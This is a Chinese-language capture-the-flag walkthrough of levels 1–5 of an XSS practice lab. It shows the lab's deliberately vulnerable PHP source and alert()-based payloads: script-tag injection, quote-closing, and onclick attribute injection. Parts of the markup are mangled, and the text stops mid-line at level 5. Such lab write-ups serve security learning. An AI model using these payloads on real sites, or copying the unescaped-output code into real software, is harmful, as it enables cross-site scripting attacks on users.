文章目录
前言
漏洞介绍:XSS漏洞
参考文章:XSS挑战之旅
游戏规则:触发alert()弹窗,进入下一关
第1关
-
进入第一关
-
随便输入一下,观测输出,看源代码
-
输入
语句进行测试,触发弹窗,进入第二关
-
源码
DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function() //触发alert(),进入下一关{ confirm("完成的不错!"); window.location.href="level2.php?keyword=test"; }script><title>欢迎来到level1title>head><body><h1 align=center>欢迎来到level1h1>欢迎用户".$str.""; //直接对传入的参数进行输出,没有过滤?><center><img src=level1.png>center>payload的长度:".strlen($str)."";?>body>html>
-
分析浏览器加载的结果
1 ------------------------------------------------$str=<script>alert(1)script><h2 align=center>欢迎用户".$str."h2>2 ------------------------------------------------<h2 align=center>欢迎用户<script>alert(1)script>h2>3 ------------------------------------------------<h2 align=center>欢迎用户<script>alert(1) //触发alert()函数script>h2>
第2关
-
输入
语句进行测试
-
查看网页源代码
-
分析浏览器加载的结果
<input name=keyword value=""> //这里的<script>alert(1)script>是字符串<input name=keyword value="11111">"<script>alert(1)script>"> //闭合引号,这里的<script>alert(1)script>可以被浏览器加载------------------------------------------------<input name=keyword value="11111">"<script>alert(1)script>">
-
进入下一关
-
源代码
ini_set("display_errors", 0);$str = $_GET["keyword"];echo "
没有找到和"
.htmlspecialchars($str)."相关的结果.".'$str.'"> //闭合value值';?>
第3关
-
输入
语句进行测试
-
测试,看效果修改
-
payload
<input name=keyword value='11111' onclick='alert(1)'>
-
下一关
-
源码
ini_set("display_errors", 0);$str = $_GET["keyword"];echo "
没有找到和"
.htmlspecialchars($str)."相关的结果."."";?>
第4关
-
输入
语句进行测试
-
继续测试
11111' onclick='alert(1)
-
测试
11111" onclick="alert(1)
-
下一关
-
源码
ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(">","",$str); //替换了< >$str3=str_replace("<","",$str2);echo "
没有找到和"
.htmlspecialchars($str)."相关的结果.".'$str3.'">';?>
第5关
-
输入
语句进行测试
-
测试
-
测试
123">
-
浏览器加载效果
-
源码
ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]); //不能用大写过滤$str2=str_replace("